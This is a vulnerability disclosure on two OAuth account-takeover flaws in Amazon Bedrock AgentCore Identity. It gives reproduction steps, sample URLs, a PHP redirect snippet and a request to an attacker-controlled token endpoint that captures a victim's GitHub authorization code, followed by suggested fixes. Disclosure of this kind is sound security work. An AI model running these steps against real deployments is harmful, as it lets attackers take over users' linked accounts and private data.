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Two critical OAuth vulnerabilities have been identified in the Outbound Auth feature of 
Amazon Bedrock AgentCore Identity, allowing an attacker to take over the victimʼs access 
to any external resources (aka resource credential providers) without explicit consent, 
potentially with single click.

The vulnerabilities affect any Agent (as well as tool, or gateway) deployed in AgentCore that 
is configured with any Credential Providers (both included and custom).

This bug report and the attack PoC videos are available at     
https://drive.google.com/drive/folders/xxx.

To ease understanding, we skip implementing the entire frontend for the Agent, and focus 
on its backend logic.

We directly create test users in Cognito Userpool for Inbound Auth, pairing them with 
different session_id s when invoking the agent endpoint, instead of implementing real 
session management (e.g., login page and session cookies).

For user interactions needed, such as user requesting for OAuth authorization URL or 
prompting the AI Agent, we simulate the process by directly operating the Agent 
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Backend’s code, and/or copying & pasting between browser windows.

We generally follow the setup guide in 
https://github.com/awslabs/amazon-bedrock-agentcore-samples/blob/main/01-
tutorials/03-AgentCore-identity/06-
Outbound_Auth_Github/runtime_with_strands_and_egress_github_3lo.ipynb .

VULN #1: Exploiting Detached OAuth Session for Same-
agent Cross-user Credential Provider Account Takeover

Overview
An attacker can fixate an OAuth Authorization URL to a victim’s browser, forcing the victim 
to (unknowingly) complete OAuth, thereby binding the victim’s OAuth token to the attacker’s 
agent identity.

Vulnerability Details
Background: Agents built by AgentCore can interface with a variety of Credential 
Providers, obtaining external tool/service authorizations from end-users based on the 
OAuth 2.0 protocol. The authorization URL distributed to end-users repurpose the 
request_uri  parameter (defined in RFC9126 - OAuth 2.0 Pushed Authorization Requests) to

indicate the ongoing OAuth session, which would generate the authorization request 
URL to the Credential Provider, and be used to bind the received access token  to a 
certain agent user session.

Security flaw: However, this design introduces a severe vulnerability rendering 
unauthorized access, since an attacker can share the authorization URL for a particular 
Credential Provider, generated with their own user identity at the Agent, to a victim end-
user as a hyperlink. Once the victim user is tricked into clicking on the hyperlink and 
going through the OAuth dance, the authorizations for the victim will be associated with 
the attacker-initiated OAuth session. Consequently, the attacker could control the 
external tool/service on the victim’s behalf.

Attack preconditions & User interactions: minimal. Any end-user of any (benign) agent 
built by AgentCore can launch the attack, and in many cases, a single hyperlink click is 
the only interaction needed for a victim end-user to be compromised.

Root cause: when establishing OAuth flows with AgentCore Identity, its OAuth callback 
endpoint fails to verify the binding of the end-user's ongoing OAuth session with their 
user session at the Agent. AgentCore Identity should not blindly accept any request 
sent to its callback endpoint https://bedrock-agentcore.us-east-1.amazonaws.com/identities/oauth2/callback , 
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but MUST further make sure the request is sent by the authentic Agent end-user who 
requests for the OAuth authorization.

Proof of Concept Video
Please refer to the attached video for a PoC demo. We reproduce the attack and 
demonstrate the eventual impact of downloading a victim’s GitHub private repo, as long 
as he/she visits a hyperlink shared by the attacker.

The key steps are outlined below.

Steps to Reproduce
We will use AgentCore Identity Outbound Auth’s GitHub provider as an example.

We assume that both the attacker and victim are end-users at a Benign Agent built by 
AgentCore. The attack is launched based on this “Cross-user” scenario. 

We further assume that the victim has previously authorized their GitHub access to the 
Agent, and there is a valid GitHub user session in the victim's browser.

1. After logging in to the Agent (going through user sign-in and Inbound Auth), the
attacker attempts to connect to GitHub (Outbound Auth). An authorization URL is
returned:
Sample URL:

https://bedrock-agentcore.us-west-2.amazonaws.com/identities/oauth2/authorize?
request_uri=urn%3Aietf%3Aparams%3Aoauth%3Arequest_uri%3AM2Q1NzZhMDQ
tZTk1OC00YjcwLWExOTgtZmUzMDVjNjk4MzNl

Note that request_uri  follows the format as defined in RFC9126 - OAuth 2.0 Pushed 
Authorization Requests, which is generated by AgentCore Identity to track information 
of the current OAuth flow. It would fetch the full authorization request URL to Credential 
Provider, and eventually decide which agent end-user to associate the obtained 
external access token with.

2. The attacker copies the URL in Step 1 and sends it to the victim as a hyperlink (e.g., via
a legit-looking email).

3. After the victim clicks on the hyperlink, the browser redirects to visit GitHub’s
authorization endpoint, with session_id  and csrf_token  set in cookies.
Sample URL:
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https://github.com/login/oauth/authorize?client_id=Ov23liqjjaQhbgHlTq51&redirect_
uri=https%3A%2F%2Fbedrock-agentcore.us-west-2.amazonaws.com%2Fidentitie
s%2Foauth2%2Fcallback&response_type=code&scope=&state=AgV4gIuPQdsdWN
Zr1W...FhySbtNtxXl_j09KNohk&code_challenge=xl-ojC6mNEOSt6v3MORxqKB1qAu
n0tNRLNwWFZp_WVM&code_challenge_method=S256

With the victim’s prior consent of linking GitHub with the Agent, the access (in the form 
of an authorization code ) will be automatically granted, which is sent in an authorization 
response back to the OAuth Callback Endpoint (aka Redirect URI). 
Authorization response Example:

302 Redirect to https://bedrock-agentcore.us-west-2.amazonaws.com/identities/oa
uth2/callback?code=73f03ed490d2f7626331&state=AgV4gIuPQdsdW...FhySbtNtx
Xl_j09KNohk

4. AgentCore Identity will exchange the victim's authorization code  for an access token ,
and bind the token  to the attacker, according to the ongoing OAuth session (as the state

parameter/ session_id  cookie indicates).

5. Thereafter, the attacker, logged in under his/her own user identity at the Agent, will be
able to operate GitHub on behalf of the victim user, e.g., downloading victim’s private
repos.

Impact
Keyword: Unauthorized Access, Account Takeover
This vulnerability universally applies to all resource credential providers integrated with 
Agents built by AgentCore, because the root cause is the flawed OAuth design on 
AgentCore Identity’s side to support these external resources’ OAuth authorization.
The attacker would obtain unauthorized access to the victim's resources, and then be able 
to control them on the victim’s behalf.

Discussions
Credential Providers such as GitHub and Microsoft support silent/automatic authorization. 

This means that with prior consent (i.e., if the victim user has previously connected these 
resources with the Agent before, under a certain pre-configured client_id  of the credential 
provider), no explicit consent would be needed for another connection, enabling stealthy, 1-
click attack.
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For some other resources where an explicit consent is always needed, or if the end-user 
has never connected the tool before, it would still be a major threat and constitute a valid 
attack. This is because the victim still has no idea that their resources would be linked to 
the attacker’s Agent identity after authorization, rather than their own.

Suggested Fix
We suggest fixing the issue to its root cause.
The expected behavior is that an OAuth flow initiated by one end-user should not be 
completed by another end-user, or in other words, whoever initiates OAuth should be the 
same person that actually completes it. This motivates the following countermeasure:

When the authorization code  and state  are sent to AgentCore Identity via the Callback 
Endpoint, the data returned MUST indicate the end-user’s session at the Agent. AgentCore 
Identity MUST verify the user identity derived from the session against the session_id  in 
OAuth to ensure the entire OAuth flow is initiated and completed by the same user. 

Post-redirect Pattern: Based on the idea above, specifically, each Agent MUST implement 
a “post-redirect pattern” before completing the OAuth dance. This restricts a malicious 
end-user of an Agent harvesting OAuth credentials from another end-user of the same 
Agent (i.e., Same-Agent Cross-user Attack). Specifically: 

The HTTP response to the redirect URL endpoint https://bedrock-agentcore.us-west-

2.amazonaws.com/identities/oauth2/callback  MUST further redirect to another “post-redirect”
Endpoint operated by the Agent (backend), where the Agent could retrieve the browser
cookies/bearer tokens that conveys the end-user session to identify the active end-
user.

The redirection should be performed while generating a nonce  that’s associated with the 
session_id  and placed in the query string, e.g., redirecting from https://bedrock-agentcore.us-west-

2.amazonaws.com/identities/oauth2/callback?code=[redacted]&state=AgV4gIuPQdsdWNZr1W...FhySbtNtxXl_j09KNohk  to
https://agent.com/callback?nonce=0cb6ca1e-43fb-42e8-8085-fa4d9b967442 .

(Note: agent.com  is wherever the agent is deployed, e.g., an AWS domain). The 
AgentCore CLI/SDK can help Agents set up the post-redirect endpoint. 

Once the Agent backend identify the active user from the agent’s own session, it MUST 
forward the user id/user access token/user session id/workload access token, together 
with the nonce , to AgentCore Identity.

AgentCore Identity MUST validate that the user is identical to the one that initiates the 
OAuth flow (by comparing with such information correlated to nonce ). If identical, 
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proceed with the OAuth access token request; If not, abort the OAuth flow.

Specifically, for implementing the post-redirect pattern, a feasible solution is to repurpose 
the callback_url  parameter in get_token()  method when generating the authorization URL as the 
post-redirect endpoint (as well as the allowedResourceOauth2ReturnUrls  field in boto3’s 
create_workload_identity()  method, used to create a workload identity with pre-registered 
callback_url  allowlist).

Important Notes:

A shorter timeout for the authorization URL https://bedrock-agentcore.us-west-

2.amazonaws.com/identities/oauth2/authorize?request_uri=...   does not solve the problem, as an attacker
end-user can always replay the request that generates the authorization URL when the
victim visits an attacker’s site, then redirecting the victim to a fresh authorization URL.

As a temporary mitigation, AgentCore Identity can enforce an extra consent screen at 
AgentCore Identity’s side to warn end-users at the Callback Endpoint’s response. For 
end-users to better judge whether they are at risk, the information shown on the 
consent screen should contain at least the Agent logo/name and the end-user’s user id 
which initiates Outbound Auth.

The temporary defense above is NOT a robust defense to be deployed long-term, 
and we do NOT endorse the defense. This is because:

It would depend on the end-user to be vigilant enough to make the right 
decision (rejecting a suspicious OAuth consent), while failure to do so would 
compromise their sensitive credentials.

AgentCore Identity definitely is responsible and capable to robustly fix the 
problem with Agent developer’s cooperation, without relying on any end-user to 
beware of the attack by luck.

It would greatly affect usability, as the user might need to consent twice (once 
at the Credential Provider’s authorization server, once at AgentCore Identity), 
which may confuse the end-user.

In rare cases, if the Agent is deployed in a constrained environment that cannot set up a 
post-redirect endpoint, one of the two following defenses should be applied:

The extra-consent-screen defense may be employed. 

The Agent may host an interface for the end-user to enter a PIN displayed at the 
Callback Endpoint (a short code solely for the purpose of session integrity check, 
equivalent of the nonce ), and the Agent shall forward the PIN to AgentCore Identity 
for validation before continuing OAuth.

1-Click Credential Provider Account Takeovers in Amazon Bedrock AgentCore 6



VULN #2: Integrating Malicious Credential Provider 
for Cross-agent Cross-provider Account Takeovers

Overview
Currently, AgentCore Identity issues a universal Redirect URL ( redirect_uri ) for each OAuth-
reliant Credential Provider: https://bedrock-agentcore.us-east-1.amazonaws.com/identities/oauth2/callback

or https://bedrock-agentcore.us-west-2.amazonaws.com/identities/oauth2/callback  depending on the region.

A crucial check is missing in the OAuth architecture of AgentCore Identity. If there exists a 
malicious Credential Provider configured at any malicious Agent, it could redirect end-
users to the authorization endpoint of a targeted, benign Credential Provider of a benign 
Agent during the OAuth flow. Despite this redirection, the malicious provider would 
eventually receive the benign provider’s authorization code at the malicious provider’s own 
token endpoint. As a result, the attacker behind the malicious Credential Provider can gain 
unauthorized access to resources of the victim’s benign provider. 

Note that even if VULN#1 is properly fixed, VULN#2 alone still works.

Proof of Concept Video
We provide an attack demo that steals a victim’s Github private repo access, as long as the 
victim performs OAuth with a malicious Credential Provider configured with a malicious 
Agent.

Please refer to our demo video for more details; The key steps are outlined below.

Steps to Reproduce
Assume that the attacker is a developer of a (malicious) Agent built with AgentCore. 
Assume that both the attacker and the victim are also end-users of a benign Agent built 
with AgentCore. Note that the malicious and benign agent does NOT need to have any 
relationship (e.g., built by the same AWS account).

Assume that the victim could interact with a potentially malicious custom Credential 
Provider configured by the attacker (with custom authorization and token endpoints). 
This could be the case, for instance, if the attacker tricks the victim into clicking a 
hyperlink (authorization URL of the malicious Credential Provider), or if the victim is 
tricked to visit the malicious Agent’s website (which is publicly accessible, without 
Inbound Auth configured).

Assume that the victim has authorized the access of the targeted benign Credential 
Provider (e.g., GitHub) with the benign Agent before, and has a valid GitHub user 
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session in his browser. 

[Victim's Perspective]

1. The victim user interacts with the malicious Credential Provider of the malicious Agent
to initiate an OAuth flow.

2. AgentCore Identity generates a fresh Authorization URL (e.g., https://bedrock-agentcore.us-west-

2.amazonaws.com/identities/oauth2/authorize?request_uri=... ). Following the URL, the victim’s browser is
redirected to the attacker-controlled authorization endpoint.
As an example:

https://attacker.com/authorize?client_id=random_attacker_client_id&response_type
=code&redirect_uri=https://bedrock-agentcore.us-east-1.amazonaws.com/identitie
s/oauth2/callback&state=AgV4gIuPQdsdWNZr1W...FhySbtNtxXl_j09KNohk&code_c
hallenge=vJJ4Nl...MlpWE&code_challenge_method=S256

3. On receiving the authorization request, the attacker (malicious agent)'s authorization
endpoint redirects the victim’s browser to the authorization request URL of GitHub. The
attacker could have learned this static URL (except the state  parameter, which is fresh
for every request, and the PKCE parameters, explained below) by interacting with the
GitHub provider at the benign Agent himself.

Here is an example of the PHP backend code demonstrating the attacker’s redirection:

<?php
header('Location: https://github.com/login/oauth/authorize?client_id=Ov23liqjjaQhb
gHlTq51&redirect_uri=https%3A%2F%2Fbedrock-agentcore.us-west-2.amazonaw
s.com%2Fidentities%2Foauth2%2Fcallback&response_type=code&scope=repo+re
ad%3Auser&code_challenge=Db_K85CdAb1EyZdNpY54GJkKdU04QUIUbNYmlpUN
_UQ&code_challenge_method=S256&state='.$_GET['state']);
?>

Note that the client_id  is the one the victim has previously consented to (the one 
configured by the benign Agent’s GitHub provider). 

The redirect_uri  parameter is the shared callback URL for all Credential Providers.

The state  parameter is the one freshly generated from the victim’s interaction that is 
sent to the attacker’s authorization endpoint (i.e., $_GET['state'] ).

The PKCE code_challenge  parameter is a freshly generated one from the attacker’s 
interaction with the GitHub provider at the benign Agent. (Note: To avoid expiration, the 
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attacker can generate the parameter only when the victim visits the malicious agent’s 
authorization endpoint. Such process can be automated in the script as well, such as by 
replaying the benign agent’s request that generates the authorization URL.)

4. From the perspective of GitHub’s authorization endpoint, the authorization request
looks no different from a legitimate request (i.e., redirect_uri , client_id , code_challenge , and
scope  all legit). Since the victim has authorized GitHub to the benign Agent (supported

by AgentCore Identity) before, no consent screen would be shown and a new
authorization code  is directly issued.

5. The authorization code  representing the victim's GitHub access is sent to the callback
endpoint operated by AgentCore Identity. A URL example is:

https://bedrock-agentcore.us-west-2.amazonaws.com/identities/oauth2/callback?c
ode=[redacted (victim's authorization code at benign Credential Provider of benign 
Agent)]&state=AgV4gIuPQdsdW...FhySbtNtxXl_j09KNohk

6. The authorization initiated in Step 1 was with the malicious Credential Provider. After the 
malicious provider’s state , session_id  as well as victim’s GitHub authorization code  are
sent to AgentCore Identity’s Callback endpoint, AgentCore Identity proceeds with
sending the code  to the malicious provider’s token endpoint. An example access token
request is:

POST https://attacker.com/token
grant_type=authorization_code&code=[redacted (victim's authorization code at ben
ign Credential Provider)]&redirect_uri=https://bedrock-agentcore.us-west-2.amazo
naws.com/identities/oauth2/callback?&code_verifier=ecb1vw4WRPHExe1KBRx3B5
XDCm5VIDaYbYX6jTgv6nIPFD17ta-vtQuycCQDKE8figgYxZNU12IV7zinqZuMxvZa1w
iBehSK8Hqvq53MAjfyMpRpz-s

The attacker would receive the still-valid code  and redeem it for an access token in Step 
7. It does not really matter what the attacker-controlled token endpoint returns, but the
endpoint should save/log any POST request body (containing the authorization code ) at
its backend.

[Attacker’s Wrap-up]

7. The attacker continues the flow of connecting GitHub with the benign Agent
established in Step 3. The attacker fills in the stolen authorization code  at the request to
callback endpoint. AgentCore Identity will exchange the code  for a victim’s GitHub
access token , and complete linking it with the attacker’s identity at the benign Agent.
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The attacker can subsequently access GitHub on the victim user’s behalf (e.g., viewing 
all victim’s private repos).

Suggested Fix
Per-Provider Redirect URL AgentCore Identity MUST issue distinct redirect_uri for each 
Credential Provider instance (e.g., put a globally unique provider_id /ARN into the redirect 
URLʼs path), and at Step 5 above, MUST enforce that the provider ID in the redirect_uri ʼs path 
matches that of the active, intended Credential Provider for the ongoing OAuth flow (i.e., 
the provider_id associated with the session_id ). Only after this validation, AgentCore Identity 
may proceed with the access token request, continuing the OAuth 2.0 flow.

Note: As weʼve demonstrated above, enforcing PKCE does NOT mitigate the attack. 
Without PKCE, the attack steps on the attackerʼs side is even simpler, while the victimʼs 
interaction remains the same 1Click in the most severe case). 

Summary
To resolve VULN#1, we suggest implementing the “post-redirect pattern”, and informing 
all agent developers to coordinate with the help of AgentCore SDKs.

To resolve VULN#2, we suggest AgentCore Identity migrating universal redirect URIs to 
per-credential-provider-instance redirect URIs. Agent developers may need to update 
existing configurations, and end-users may need to re-authorize the given consents at 
the credential providers.

Note that the two vulnerabilities’ root causes are orthogonal, and a successful exploit can 
happen by leveraging each vulnerability alone. Therefore the actions above are both critical 
for the Agents’ and their end-users’ security. 
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We sincerely hope that AgentCore Identity will provide a secure auth infrastructure 
that both developers and end-users can trust.

Thank you!




